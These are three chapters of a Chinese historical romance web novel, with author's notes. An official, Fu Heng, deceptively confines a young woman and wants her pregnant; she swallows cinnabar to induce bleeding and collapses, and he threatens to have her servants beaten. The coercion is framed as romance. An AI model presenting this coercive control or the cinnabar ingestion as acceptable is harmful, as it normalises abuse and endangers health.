傅珩心想:自己也不算骗她,“离不了情”本就是为了促女子有孕,自然用不得避子汤。若是老天叫两人一次便有了孩子,那也是天意。横竖有他在,必定护她周全,平安诞下孩儿。 两人各怀心思,饭后孟清辞推说乏了,回了船室卧房。 傍晚,宝船靠岸,浙江知州一早率领一众大小官员在岸上等候,也不知吹了多久的海风,一个个冻的瑟瑟发抖。 孟清辞到底是不情不愿被傅珩拖下船来。 “学生见过老师,不知老师一向可好?老师既然路过,定要叫学生尽尽孝心。”浙江知州姚如海见了座师眉开眼笑,率领大小官员恭谨行礼。 傅珩威严端肃的扫过一众人,浙江道的官员来了十之八九,他微微颔首,沉声道:“你有心了。” 姚如海听座师一句夸赞,顿时,忙说:“顿时受宠若惊,慌忙躬身道:“学生能有今日,全赖老师昔日提携栽培之恩,学生赴汤蹈火在所不辞。” 姚如海余光瞥见座师身边多了个姿色绝艳的女子,心下吃惊不小,却佯装不知,只暗忖:不知是何等人物,竟能令他这位素来清冷自持、不近女色的座师如此看重,还要时时带在身边。 孟清辞也看着姚如海新鲜,浙江知州乃实打实的肥缺,寻常人求之不得。她原本猜想,傅珩的门生年纪应当更轻些,不想眼前竟是一位年逾四十、腹便微隆的中年官员。 又见他侍立在傅珩身旁,说句奴颜婢膝都不为过,那份恭敬殷勤,竟似比侍奉亲父犹有过之,孟清辞不由得在心底暗暗啧舌。 姚如海万没料到竟有这等殊荣,能邀请座师到府上,一时喜出望外。 又见傅珩对那女子极为细致体贴,顿时心领神会。甫一回府,便急召夫人前来,再三郑重嘱咐:“你一会儿定要悉心招待,莫要欺她年纪小,我瞧着那情状,老师都要让那小女子三分,你万万不可怠慢了这位贵客。” 姚如海夫人陈氏听了亦是吃惊不小,不禁面楼难色:“若如你所说,没名没分,若是抬举太过,座师最重规矩,若是责问下来,不是要你担责?” 姚如海恨铁不成钢的看着陈氏,责一句:“妇人之仁,头发长见识短,男人的事情,你懂个什么,你只管按照我说的办便是,以我对老师的了解,此次路过,能登岸,多半也是为了那女子。”—— 作者有话说:明天上架子,凌晨不更新 傅珩:虽然我知道我不正常,但是我努力过,之后就都不怪我了 孟清辞:两条腿的男人到处都是,从来没缺过 推下预收《锁金枝》 王元贞救萧衍一命,萧衍却恩将仇报,强取豪夺 萧衍身受重伤弥留之时,看见一女子,韵在光影里,头戴青玉莲花观,垂下两条飘带,眉心一点观音痣,恍若神仙妃子下凡 本应报救命之恩,他却做尽卑劣事 排雷: 1、古早狗血,SC,男主狗,女主娇弱,体型差,年龄差 2、杜撰架空乱炖,群雄割据 3、强取豪夺梗 第26章 第 26 章 无冕之王 一踏入姚如海的府邸, 他便即刻唤来了夫人陈氏。姚如海向来是个通透练达的聪明人,无须座师傅珩示意,便主动向陈氏介绍道:“快快见过师母。” 孟清辞没想到年近四十的姚如海, 竟有位二十出头的娇妻, 约莫是位续弦,两人还神奇的有七分夫妻相。 陈氏眸色掠过一丝讶异, 不想傅珩中意的竟是这般年纪尚轻的姑娘。但她出身商贾,惯会待人接物, 依旧依着姚如海先前的嘱咐,恭恭敬敬向孟清辞行了一礼:“妾身陈氏,恭迎师母。师母肯光临寒舍, 实乃姚家天大的颜面,还望您准我近身侍奉,容我略尽心意。” 孟清辞嘴角微微一抽, 对“师母”这称呼很不以为然。此刻她并不愿给傅珩留什么颜面,只抬手指向他,语气疏淡地说道:“此处并没什么师母, 这是我干爹。” 傅珩脸色骤然一沉,瞳仁似霜,斥责:“什么浑话, 休得放肆。” 姚如海见小师母语不惊人死不休, 后背霎时沁出冷汗, 尴尬的要哭不笑, 一时不知该如何接话。 陈氏也叫这狂言打的措手不及, 不想小姑娘在座师面前竟如此敢说。她机敏地举团扇掩去半面,眼弯如月,巧妙转圜道:“师母真是风趣, 与老师的感情如此亲近,实在令人羡慕。您这般亲和,是我等晚辈莫大的福气。” 陈氏此时信了姚如海先前叮嘱的话,这姑娘当众如此下座师颜面,向来威严深重的座师,竟连半句重话也舍不得说她。 听陈氏这么一说,再瞥一眼姚如海那微凸的腹围、日渐稀疏的额发,孟清辞内心哭笑不得,索性将脸侧向一旁,倒并不想叫陈氏为难。 陈氏人精一样心领神会,上前亲切地挽住孟清辞的手臂,笑语温然:“姿态谦卑又带几分亲昵,笑语温婉道:“他们男人说话枯燥得很,师母何必在此陪坐?请随我来,妾身备了几样海外带来的新奇玩意,特要献与师母赏鉴赏鉴。” 傅珩见孟清辞半推半就的跟着去了,也不似勉强的模样,神色稍霁,对姚如海道:“你这个夫人,是个极好的。” 姚如海连忙躬身成揖,言辞极尽谦敬:“本就是她应尽的本分,能得师母一顾,是她的福分。” 陈氏亲热地挽着孟清辞朝后宅走去,她素来能说会道,一路上笑语不断,也不叫冷场,说起自家夫君,她语带感激:“当年幸得老师赏识我夫君,否则他年纪不小,还在那犄角旮旯里做知县,终日奔走田埂乡野之间体察民情,连双齐整的鞋都穿不上。恰逢闽广遭倭寇侵扰,老师便将他调来配合,这才有了他今日的造化。” 陈氏握着孟清辞纤细的腕子,心里暗暗咂舌,小姑娘身姿挺拔,浑身软的和没骨头似得,真是一股水儿做的,瞧这肌肤又白又细,宛如剥了壳的鸡蛋般细腻,更兼容貌清艳绝俗,似仙姝临凡,娇中含雅,丽而不媚。 她不由心道:难怪连座师那般风姿清绝、向来持重端方的人物,竟也为她动了凡心,实是眼前之人美得不似尘世所有,想来这天底下就没有好色的男人。 陈氏实有副好口才,也不知是不是她有意。短短一路,已让孟清辞清楚姚如海实为傅珩的嫡系亲信。 原来浙江此前并未设置巡抚,朝廷擢升姚如海为浙江知州,本意正在协同傅珩抗倭;此后便一直留任,稳坐此位。而姚如海既然是傅珩门生,自然是唯他马首是瞻。 她话语婉转,却也让孟清辞听出另一层意思:傅珩手握的权柄,远比她所知的更为显赫。等同闽、广、浙三地军政事务,几乎尽在他掌控之中。可说是这三省州府名副其实的无冕之王。 时置约上中天,廊下挂着灯笼,依稀可见江南园子里的别致精致。做了多日船的孟清辞,见了隐匿在月色暗影里的崎岖假山和院子里簇蔟青竹,闻着花香混合泥土的味道,又没有傅珩那老男人时刻在身旁,她郁结心情果然舒畅几分。 待到了后宅花厅,陈氏恭敬地请孟清辞在上首落座,随即吩咐侍女奉上几碟精巧茶点。她笑意温婉,言语间带着几分恰到好处的恭维:“想来师母平日什么好东西都见过,妾身只备了些本地小巧玩意儿,请您尝个新鲜,也算换个口味。”她一一指点介绍:“这是定胜糕,这一碟是吴山酥油饼,旁边这个是橘红糕……” 孟清辞见陈氏言辞恳切,并不过分谄媚,也没有审视打量,对陈氏多了几分好感,遂很给面子地各样略尝了尝,喝了茶漱口。 陈氏在一旁悄悄打量,见她一举一动从容典雅气度不俗,模样一看便是世家精心教养出来贵女。心中不禁有些纳罕:若真是正经高门小姐,怎会未过明路便被带在身边? 她若不出自世家,瞧着她身上穿的织锦乃是贡品,寻常有钱难得,钗鬟更是价值连城,座师处处妥帖以待,这姑娘日后一个贵妾名分总是少不了,偏偏这姑娘却似并不领情,眉眼间不耐得很,很不稀罕的样子。 她心思转得快,面上依旧殷勤周到,顺势吩咐下人将一早备好的一件稀罕物拾进来。那是一座圆形西洋妆台镜,配着红漆雕花木盒,两名婢女抬得稳当。 陈氏亲自揭开盒盖,展示给孟清辞看:“这是妾身娘家走海贸时带回来的,洋人叫做‘西洋镜’。照人格外清晰,眉眼鬓发,丝毫可见。这样清亮宝物,正该配师母才是。” 谁想孟清辞只淡淡瞥了一眼那西洋镜,目光并未停留,反而径直望向陈氏,只问道:“你娘家是做海贸生意的?” 那西洋镜本是市面上的紧俏物,这般半身大的尺寸更是难得。世家豪族的夫人小姐们,无不对此物趋之若鹜,往往一掷千金也难求一面。 陈氏见孟清辞只淡淡一瞥便不再留意,心中不由暗忖:这位究竟是不识货,还是早已见惯了奇珍? 又见她发间那支钗上瓒的硕大东珠,圆润莹亮,绝非凡品,只当她见惯了好东西,从善如流的应答:“妾身出身卑微,娘家是做海贸的商贾,叫师娘见笑了。” 孟清辞一改连日的疏淡倦怠,眸中倏然漾起明亮的神采,突然来了兴致:“哦?听闻广州府设有市舶司,近年来海贸兴旺、商贾云集。既然你家里是做海贸生意的,不如与我说说,如今市舶司中什么货物最为紧俏?洋人又带来了哪些稀奇物事是我们这儿少见的?不拘大小、不论品类,你只管都讲来。” 朝廷如今虽不似前朝那般严苛打压商贾,商人子弟亦可参与科举,但经商一事仍被许多世族视为“贱业”。陈氏万没料到这位看似清冷矜贵的小师母,竟会商贾之事显出如此浓厚的兴趣,她毫无准备,一时怔然。 霞光日日伺候孟清辞,见她一洗先前愁云惨淡、倦怠懒言的模样,眉眼间竟透出许久未见的光彩,连忙笑着凑上前打圆场:“既然咱们姑娘有兴致,夫人便讲些有趣的,说给咱们姑娘解解闷儿。” 陈氏信以为真,捡着些趣事,什么洋人金发碧眼,不通礼节,行事粗狂闹了笑话的事情说给孟清辞听。 孟清辞不动声色的听着,甚至很捧场的掩唇轻笑,待陈氏说了一阵,她话锋一转问:“既然是言语通如何做交易?” 陈氏此时以信她只是猎奇而已,如实回答:“起初是由市舶司中通晓番语的大人们出面,与那些洋商定下贸易规章。后来往来一多,能人异士辈出,即便言语不通,连说带比划的,也渐渐做成了生意。” 她语气稍顿,又含笑补充:“不过如今,真正精通番邦话的‘通事’、‘番牙’,仍旧极为紧俏。尤其是若想采买到上等的香料、自鸣钟这类俏货,可万万离不开他们居中传译周旋。” 孟清辞引陈氏将此中门道尽数说了,含笑夸赞一句:“姚大人能有你这般贤惠的夫人,是他的福气。” 陈氏觑她神色,自觉讨得这位贵主儿的欢心,乘机状似无意的说:“唉,要我说啊,男人还是年纪大些才更知疼人。不瞒您说,早年我也曾与人定过亲事。谁知后来娘家突遭大难,我那位未婚夫年纪尚轻、未经世事,事事只听父母之命。他家里怕受牵连、得罪权贵,逼他退婚,他便将往日那些海誓山盟全都抛下,二话不说就与我撇清了干系,无情无义的很。” 她语气渐软,透着几分感慨“还是我家大人为官刚直,有仁义之心,伸出援手救了我全家,免得我家破人亡,更不嫌我商门出身,迎我入门,予我一席安稳。这些年来,待我更是始终如一。” 孟清辞眸色清亮,看似听得专注,陈氏便趁热打铁,又婉言劝道:“要妾身说,女子这一生,横竖总要嫁人,侍奉夫君、相夫教子。既如此,定要选一个真心待自己好的,往后才有福可言。男人嘛,说到底不都如此?您若肯温柔小意一些,还有什么心意是握不紧的?” 孟清辞不知道她是不是有意,倏然冷了脸色,嗤笑一声:“你一个正妻,也不必自降身份,拿这些侍妾讨好人的做派来教我。没的辱没了自己,也恶心旁人。” 霞光知孟清辞的心思,大少爷那样的人才品貌,她尚且不从,哪里是肯甘心给人做妾的。见她此时容色冷肃,知道已气得厉害,忙向陈氏连使眼色。奈何陈氏正说到动情之处,竟丝毫未觉。 陈氏被她一言说愣,脱口道:“妾身并不为难,妾身本也是被老爷扶正的。”又笑说:“爷的原配夫人一直体弱多病,总需有人尽心侍奉。再说夫人仁慈宽厚,待下宽和,也是妾身的福分。” 孟清辞听了只冷笑以对,她说傅珩为何非要拉着她下船来,还抬举的叫人称什么恶心的‘师母’,原是打的叫人劝她做妾的主意,真是恶心的她隔夜饭都要吐了。 她忽然觉得小腹一阵绞痛,搅得五脏六腑也跟着疼,只得咬牙强忍,呼吸也随之微弱了几分。 霞光察觉她神色有异,见她额角细汗涔涔,脸色煞白如纸,余光瞥见她裙摆处染上一抹刺目的鲜红,吓得心惊肉跳,顿时惊呼:“姑娘,您怎么了?可是月事来了,疼得厉害?” 孟清辞只觉得这痛来得又猛又急,说话的力气也没了,霞光的声音忽远忽近,眼前景象渐渐模糊,浑身麻木失力,竟是身子一软,直直向前栽去。 霞光大骇,赶忙伸手扶住她,急急唤她:“姑娘您这是怎么了,您可别吓奴婢。”转身对带来的小丫鬟,急切喊道:“快!快去禀告大人,姑娘不好了!” 小丫头连忙点头如捣蒜,提着裙子转身跑去了前院。 陈氏呆如木鸡,彻底懵了,此时她也觉出不对来,却万没想到这小师母气性竟如此之大,她不过是劝上几句,竟然将人气的见了红,昏厥过去。 她袖子下的手不由发起抖来,彻底慌了神,若是来了月事还罢了,若是,若是她不敢再想下去,到时候座师雷霆震怒会是什么后果。 陈氏嗓音发颤,透着变调的尖利:“来人,快来人,快去叫大夫,要快。” 一时,花厅里乱做一团—— 作者有话说:感谢大家喜欢[比心][让我康康]没啥好说的了, 动动小手,把我得预收《锁金枝》收了吧哈哈 王元贞救萧衍一命,萧衍却恩将仇报,强取豪夺 萧衍身受重伤弥留之时,看见一女子,韵在光影里,头戴青玉莲花观,垂下两条飘带,眉心一点观音痣,恍若神仙妃子下凡 本应报救命之恩,他却做尽卑劣事 排雷: 1、古早狗血,SC,男主狗,女主娇弱,体型差,年龄差 2、杜撰架空乱炖,群雄割据 3、强取豪夺梗 第27章 第 27 章 卑劣无耻 傅珩偶有路过, 从不下船。但此次浙江知州姚如海,仍备下歌舞酒席,又特意物色数名江南佳丽, 江南女子本就貌美多情, 即便老师不近声色,他麾下随行属员亦有需犒劳打点之处。 如今见座师身旁已有佳人相伴, 姚如海恐唐突扫兴,便悉数撤去歌舞美人, 改备奇珍异宝,一并交由墨简送上官船,以做孝敬。 借此良机, 二人于姚如海书房密议。傅珩端坐上首,姚如海躬身垂首,一一禀报:“去年下半年税银已全数归拢, 较前年增收一千万两白银。学生已遣人押运至广州,老师启程入京的时候,派人押解到广州, 这时候怕是已经到了。京城那边的账目明细清晰,户部并无异议,还请老师放心。” 傅珩微微颔首, 赞一句:“你做的很好, 切要谨记不可急功近利, 损及民生根本, 不过你一向为官为民, 爱民如子,我很是放心。” 姚如海闻言腰身更弯三分,语气愈发恭谨:“全赖老师指点栽培, 学生时刻谨记教诲。三省州府能有今日安定繁荣之局,皆是老师宏才伟略所赐。” 傅珩见他虔诚,更满意几分。 姚如海语气谨慎,低声探问:“听闻老师提前返程,是为坐镇闽广、平定闽州叛乱一事?” 傅珩目光深沉,唇角掠过一丝难以察觉的笑意,只缓声道:“不过欲扬先抑罢了。” 此言一出,姚如海顿时心领神会,叛乱是假,索饷是真。想来老师官船后的几艘船里,都是陛下为平叛播下的饷银。他抬眼望向傅珩,只见对方气定神闲,俨然已将大局握于掌中。 恰在此时,书房外传来婢女急促的禀报声。墨简听闻事关孟姑娘,心知紧要,未敢有片刻耽搁,立即引人入门。 那婢女跪在傅珩面前,浑身微颤,礼数丝毫不敢有失,声音发紧地回话:“姑娘起初兴致颇好,用了些茶点,与姚夫人相谈甚欢……谁知、谁知忽然就晕厥过去,并且……并且……” 傅珩眉峰骤敛,语气沉冷:“并且什么?” 婢女被他一慑,吓得几乎瘫软,再顾不得姚如海在场,颤声道:“姑娘……见了红……” 婢女话音未落,傅珩已霍然起身,面沉似水,眼中寒意凛冽。他未发一语,径直大步向外疾走。 姚如海听此吓了一跳,和他夫人到是想到了一处,这“见红”一事可大可小,座师待这位小师母宛若眼珠一般,他是看得分明。若这小师母真是喜脉有恙,以座师如今这般年纪,又是第一个孩子,自己恐怕万死难辞其咎! 姚如海回神,顿时冷汗透背,再不敢多想,急急追了出去。暗想:他夫人一向妥帖,绝无可能怠慢小师母,偏他现在心急如焚,却不清楚内情。 傅珩周身气压骤低,骇得沿途仆从纷纷跪地垂首,不敢仰视。 孟清辞再醒来时已在傅珩的官船上,刘太医的徒弟张合此次随船,刚给她诊过脉,隔着珠帘正在开药方。 张合素有掉书袋之癖,此时一边运笔,一边摇头絮叨:“姑娘本就因药物催汲肾水,致阳虚阴旺、内里失衡;后又误服朱砂等物强行催至信期,大耗精|血,方有血崩晕厥之险。幸得先前一剂调理汤药护住根本,没彻底伤了根本,今后务必静心深养,否则年纪轻轻掏空了底子,早衰也是有的。” 她那目光如冰似刃,清冽中透着讥讽,仿佛无声地控诉。她上船后在傅珩的书房找了含朱砂的红色染料服用,他和傅珩半斤八两 傅珩被她眼中那毫不掩饰的谴责与轻视刺得心头一窒,竟一时难以迎视。随即,汹涌的怒意压过了那一丝心虚。 “张大夫随我出去仔细说。”霞光见两人之间的气氛不对,忙拉着张合出去,亦将其余人等遣了出去。 傅珩细长的眼尾因怒火而泛红,他薄唇紧抿,袖中双拳紧握,绷着一丝理智问她:“我自认待你周全妥帖,哪点配不上你,叫你厌恶至此,你就这么狠,宁可吞服朱砂自损其身,也不愿怀我的骨肉。” 孟清辞撑着虚弱的身姿,一手捂着发疼的腹部,身体内有温热奔涌,她冷笑一声:“你承认了,你不过是个卑劣无耻之徒,只会使不光彩的手段达到目的,我是万万看不上你。” 这番话如同利刺,扎得傅珩一时语塞。不待他反驳,孟清辞又冷冷道:“你为老不尊,若再大几岁,你都能当我爹了。我得多想不开,才会瞧上一个比我大十岁的老男人?” 这话正戳中了傅珩的肺管子,他眸色骤沉,语气森寒“你总算说出心里话了?若我不使些手段,你怎会甘心跟我?别忘了,当初你是如何自己求我的?我未曾逼你半分,若是没有我,你也躲不开傅鸿轩的算计。” “你与他又有何分别?何况我只求你那一回。若不是你,换作别的男人,也一样可行!”孟清辞越说越气,声音里透出委屈,他个老色胚真是好意思说,反正撕破脸了,她不管不顾,语带嫌弃:“谁愿意喜欢一个心思深沉阴郁的老男人?年轻郎君体贴温柔,不知比你好上多少!况且你年纪不小,功夫却差的很。” 孟清辞在侯府忍了十年本性,和侯府的各色人周旋,总算出府以为可以做回自己,如今叫傅珩紧制在身边,十年期盼一朝成空,怎么也没法一忍再忍,为了自己乳|腺好,图个心头畅快,索性豁出去了。 一股暴戾之气自傅珩胸中翻涌而起,若不是确定她初次跟了自己,她如此孟浪,定是饶不了她。 他被她言语刺伤的不甘与几近疯魔的占有欲如野火燎原,顷刻间焚尽他最后一丝理智。 他猛地一挥袖,将桌案上的物件尽数扫落在地,就连价值连城的瓷器、珠帘、摆设等也无一幸免,碎裂之声刺耳惊心。 门外,墨简听得胆战心惊,唯恐下一刻主子便会失控将孟姑娘掐死,他就没见过这么敢说的姑娘。 墨简想到那句‘功夫差的很’,浑身打了个激灵,怕主子出来见到他在外面,激愤之下将他灭口了。 宣泄过后,傅珩复又立于床榻前,居高临下的俯视孟清辞,傅珩忽然阴恻恻地冷笑一声:“你以为我是傅晏桉那等任你召之即来、挥之即去,玩弄于鼓掌的毛头小子?你未免太过天真,从来就没有这么便宜的事情。” 他倨傲的睥睨她,声音低沉却慑人:“我劝你趁早断了这个念头,我想要的,从来没有得不到的,包括你。” 孟清辞见怎样激他都难以令他生厌,索性转身面向床内躺下,不再理会。 傅珩见她油盐不进,怒喝道:“来人!将伺候她的人全部拖上甲板,重打板子!打到她认错为止!” 孟清辞头也不回,只冷冷一嗤:“我连自己的性命都不放在心上,你又凭什么觉得能用几个下人的命拿捏我?我又不是什么委屈自己的烂好人。这一船的人都看不住我,你就算全丢进海里,我也不会眨一下眼。” 傅珩气得手指发颤,应也不是、不应也不是。见她此时虚弱的气若游丝,卧着身子忍着疼痛,又拿她发作不得。 一股怒气郁结胸间,他猛地一拂袖,愤然离去。房门被重重摔上,发出“砰”的一声震响。 墨简额角沁出细密冷汗,步履轻悄几无声息,紧随在傅珩身后。 傅珩猛地疾行两步,却骤然止步转身,盯着墨简沉声问道:“我当真……就如此之老?” 墨简霎时脸都白了,心中叫苦:孟姑娘方十六,您已二十有六,这怎不算老? 可面上却慌忙恭声道:“主子正值盛年,英姿勃发,闽广之地倾慕您的贵女不知凡几。”他喉头一滚,又硬着头皮劝:“孟姑娘尚且还小,难免气盛,之前受了委屈一时转圜不过来,您何必和她置气,此刻她身子正虚,最需体贴照看。姑娘家心思软,您好言抚慰几句,多半便回心转意了,气头上的话岂能当真?” “你倒是懂的多。”傅珩又想那句‘尚且还小’,这岂不正坐实了他年岁老大?他脸色瞬间阴沉下去,冷声喝道:“叫霞光过来!” 傅珩目光如炬,缓缓扫视着跪在眼前的霞光,声音低沉:“听闻你与她自幼一同在老侯府中长大?” 霞光原以为此番前来必是领受责罚,不料竟只是问话,心中稍定却仍不敢放松,战战兢兢地答道:“是。” 傅珩忽然忆起在姚府后宅,孟清辞意识昏沉时曾低声呼唤的那个名字,那分明是个男子的名字。 一贯自持的他眸中倏地燃起暗火,语气愈发沉冷::“她自小可有心仪的男子?” 霞光微微一怔,凝神细思片刻,谨慎地摇了摇头:“姑娘自幼随大小姐居于深宅,平日只随女先生修习功课,极少见外客。更何况她一心盼着离府自在,与府中诸人并无什么情谊牵扯。” 傅珩并不放过,紧接着追问:“那府外之人呢?” 霞光又认真思索了好一会儿,终是恭声回道:“奴婢未曾听说,姑娘与外间男子有何往来。” 傅珩面色未霁,见再问不出什么,他挥手令霞光退下。 转而唤来墨简,命他详查孟清辞这些年在侯府中所接触之人、所行之事,事无巨细一一上报,更要彻查她被卖入府之前的出身来历。 独自坐在书房圈椅中,傅珩眼前又一次浮现孟清辞那日神志不清的模样,她当时将他认作了旁人,对那人乖巧又极尽依赖的模样,是他从未得见的柔顺婉转。 一念及此,他几乎难以抑制胸中翻涌的戾气。半晌,却忽地低低冷笑出声。 倾心他人又如何?既已跟了他,早晚心也是他的。 呵,说他卑劣无耻,她还没见过他真的卑劣,还竟敢嫌弃他不|行!他会不|行?—— 作者有话说:没有哪个穿越女,忍了十年还能忍古人的那一套, 尤其是看不到希望的时候,女主的大小姐脾气爆发了! [比心][让我康康] 傅珩:乖乖,我还没有真的变|态,你恐怕理解错了。 来收藏我预收文呀 《锁金枝》 1v2 王元贞救萧衍一命,萧衍却恩将仇报,强取豪夺 萧衍身受重伤弥留之时,看见一女子,韵在光影里,头戴青玉莲花观,垂下两条飘带,眉心一点观音痣,恍若神仙妃子下凡 本应报救命之恩,他却做尽卑劣事 1v2 排雷: 1、古早狗血,SC,男主狗,女主娇弱,体型差,年龄差 2、杜撰架空乱炖,群雄割据 3、强取豪夺梗 第28章 第 28 章 言辞孟浪 霞光从傅珩的书房出来, 急忙赶回卧房探望孟清辞。只见她蜷缩着身子侧卧,双手捂在小腹上,人已昏昏沉沉地睡去, 鬓角早已被细密的汗珠浸透。霞光看得心头一紧, 取出帕子,极轻极柔地替她拭去汗珠, 动作小心翼翼,生怕惊扰了她的睡梦。 她仔细拢好幔帐, 转身唤人进来,示意她们轻手收拾屋内。一应用具皆悄悄撤换一新,又特意吩咐小丫头在外间守着, 怕孟清辞醒来无人可唤。 霞光自己则拿着张合开的药方,未假他人之手,亲自煎了药。 小丫头茂儿在一旁帮着忙, 时不时用袖子抹眼泪,抽抽搭搭的。 霞光瞥她一眼,问:“哭什么?” “差点被拖到甲板上打板子, 吓死我了,真以为这回没命了。”茂儿哽咽着,不敢直言埋怨主子, 却仍小声嘟囔:“姑娘平日那么好说话, 竟一句也不向爷求情。” 霞光冷睨她一眼, 收了手里扇风的扇子, 熄了灶火, 起身食指狠狠一戳茂儿的额头,斥道:“分不清好赖的小蹄子,吃了多少的黄尿, 脑子浑成糨糊了?还不赶紧跳海里洗洗!姑娘要是真求一句情,你这会儿身子早凉透了,叫扔在海里喂鱼了,我看你是活腻歪了,这话若让主子爷听见,不剥了你的皮才怪。” 茂儿肩膀一缩,顿时噤了声,再不敢多嘴。 霞光吩咐她把这里收拾干净,自己则端起药碗转身离开。心中暗忖:墨松调教的什么东西,半点规矩也不懂。 霞光回到卧房,吩咐小丫头在外守着,自己轻步走进内室。她利落地挽起床榻两边的幔帐,俯身柔声唤道:“姑娘,先把药喝了再睡吧,夜里也能好受些。” 孟清辞本就睡得浅,迷迷糊糊转醒,只觉得小腹处抽痛更甚先前,蹙眉强撑着转身。 霞光见她绵软无力、眉头紧蹙,连忙扶她稍稍坐起,在她身后垫了个软枕,这才将药碗递过去:“姑娘别和自己的身子过不去,像奴婢这样命贱的,若是病了,若是病得重了,只怕要被挪到外头‘将养’,是死是活看老天爷。” 孟清辞知道霞光是好意,只霞光不知道,她又怕死又怕疼,天知道她中了‘离不了情’的时候,花了多大的勇气才给了自己一刀。 她默默接过药碗,仰头将药一饮而尽。浓重的苦味霎时在唇齿间蔓延,直冲颅顶,激得她眼角沁出泪来。 霞光接过空碗,又把一早准备的蜜水端给她:“快甜甜嘴,压一压苦气。” 孟清辞依言饮下,甜意驱散了舌尖的涩意。她缓过一口气,抬眼望向霞光,似从前般真心:“辛苦你了,叫你跟着我,并不是什么好差事。” 霞光自来伺候孟清辞起,便觉她待自己疏淡,始终隔着一层。如今难得重拾几分旧日亲近,她不由含笑道:“跟着姑娘总比跟着大太太强,她是个糊涂的,日后如何谁说的准,锦屏掏心掏肺跟了大少爷那么些年,到头来还不是一句话,叫送出去了。” 孟清辞倚在软枕间,并未应声。她好不容易才从侯府脱身,前尘旧事,是一个字也不愿再多提。 霞光见她神色倦怠,往日那双顾盼生辉的眸子此刻如灯火寂灭,不由轻声劝道:“姑娘向来是个会审时度势的,当日也劝过我,怎么如今自己就犯起傻来?三爷待您,岂是大少爷可比之万一?这任谁都瞧得真切。您但凡肯说一句软话,三爷又何至于气成这样?况且那朱砂哪里是好吃的?姑娘已到了配人的年纪,何不借此机会得个一儿半女,往后也有了倚仗。以三爷对您的心思,日后总错不了。” 孟清辞倦倦地合上眼,无心去辨霞光这番话是出自真心,还是傅珩让她来做说客的。她只偏过头,声音轻飘得像一缕烟:“知道了。” 霞光唇瓣嗫嚅,到底是念着当年的恩情,她朝外瞥了一眼,确认门扉紧闭,这才压低声音对孟清辞道:“方才三爷唤我过去,问姑娘是不是心里早已有了别人。我自然是说没有,三爷再三确认,才肯放我出来。” 孟清辞闻言蹙起眉头,她自是记不得自己昏迷的时候说了什么,只觉得傅珩不仅城府极深,更是疑心慎重,对他越发厌烦反感。 她冷笑一声:“你便是说了真话,他也未见得信,罢了,随他怎么想。” 霞光见她眉间已凝倦色,便不再多言,伺候她洗漱更衣,灌了汤婆子,服侍她歇下,将一切都安置妥当,才轻掩幔帐,悄声退了出去。 自傅珩将孟清辞抱回官船,一时间船上忙的人仰马翻。傅珩震怒之下,船上侍从仆婢无不人人自危。 待墨简得空记起来,浙江知州姚如海已在傅珩官船前吹了一个多时辰的冷风,仍半步不敢擅离。 墨简走下船来,见姚如海冻得唇色发青、浑身微颤,只得上前道:“对不住了姚大人,叫您在这吹了好些时候的冷风,您多担待罢。” “岂敢岂敢,皆是下官安排不周之过。”姚如海忙不迭躬身回应,目光仍不时瞥向官船,踟蹰问:“不知小师母,可还安好?” 墨简叹一口气,瞥他一眼:“所幸已无大碍。” 姚如海听了如蒙大赦,双手合十连声道:“阿弥陀佛,天佑小师母,吉人自有天相,天不绝我。” 墨简见他身后还跟着几名装扮娇艳的女子,心下暗叹这位姚大人真是聪明反被聪明误,只摆手道:“主子现下无暇召见大人,大人也早些休息罢。” 姚如海顺着墨简示意的方向一看,立时明白过来自己干了蠢事,连连称是,千恩万谢地退了下去。 夜深人静,傅珩处理完公务回到卧房。他轻手轻脚褪下外衫,掀帐上榻,却见孟清辞纤弱的身影蜷缩在里侧,背对自己而卧,身姿羸弱,朦胧夜色中,她颊边泪痕犹湿,睡颜脆弱,好不荏苒可怜。 傅珩心中方才那点不快,霎时被这模样揉得烟消云散,软下心肠来。 他自后轻轻将她揽入怀中,触手只觉她周身冰凉,想起她此刻正受着小腹疼痛折磨,便展开温热掌心,轻柔覆于其上,将自己的体温一分分渡了过去。 见她此时乖巧在自己怀里,为了一点暖意还要依偎自己,他兀自思忖:自己对她是不够光明磊落,趁人之危又骗她,将她禁制在自己身边,她倒是不哭不闹,连委身于她也能轻轻揭过。 只对自己下狠手,如今她这模样,他打不得亦骂不得。 傅珩转念又想:罢了,她自小在侯府跟着那些腌臜玩意一处,能学了什么好东西,言辞孟浪些,行事乖戾也情有可原,自己终究年长她这许多,日后细细引导,慢慢教她便是。 不知是不是他的叹息惊扰了孟清辞,她悠悠转醒,见自己竟然在傅珩怀里,不由一怔。 两人已然撕破脸,只差大打出手。他气成那般,竟还能如常上她的榻? 又想起在浙江知州府中,陈氏对她说的那些恶心话,,一股怒气直冲心头。她猛地推开他,半坐起身,咬牙横眉冷声道:“我说大人今日为何非要我下船,原来打的是这个主意。今日我便说明白了,大人也无需白费心思,叫那些阿猫阿狗到我跟前说什么做妾的好处,我万不会与人做妾!若是我肯做妾,哪里还轮得到大人,早就是你侄子的房里人了,大人在侯府的时候不是都亲眼见过了。要是打的是叫我做妾这个主意,不如趁早死心。大不了我一死了之。” 傅珩不是傅鸿轩那种孬种,用匕首威胁一番,虚张声势,以死相逼并不管用。可让她委身做妾,她一刻也忍不得,不如死了算了。 傅珩没料到她一醒来便这般冷语相向、横眉怒目,一时怔住,当即蹙眉否认:“我从未有此打算。” 孟清辞冷嗤:“怎么,敢做不敢当吗?你若认了,我还敬佩你磊落气节。姚大人那位夫人若不是有人授意,怎敢在我面前劝我做妾?你敢说你当真不知?” 傅珩这才叫明白过来,她是叫姚如海的夫人气的催发了月信。 却觉得自己百口莫辩,无奈叹一口气,他仍是自辩一句:“不管你信不信,我确实不知此事。你放心,今后断不会有人在面前胡乱觉舌根,况且我若要你做妾,何须外人来劝你。” 孟清辞并不知道他对自己到底大的什么主意,她不想与傅珩纠缠,并不问他对自己的打算。此刻见他没有被戳破的尴尬,也没有恼羞成怒,信誓旦旦保证的样子,信了几分。 孟清辞佩服傅珩的厚脸皮,被自己气的摔了一屋子东西,眼下竟又能若无其事地拥她入怀,仿佛什么都不曾发生。 她自然不知,傅珩确实气极,几乎理智尽失。可怒气散尽之后,他却更放不下她,既狠不下心冷着她,索性抛了颜面,主动踏回她的房门,想着待她好了再罚她不迟。 然而傅珩却又想:傅晏桉不就她口中的年轻郎君么? 他眸色沉如深潭,嗓音低哑得透着一丝危险:“你这是后悔了?后悔当初没选我那好侄子?” 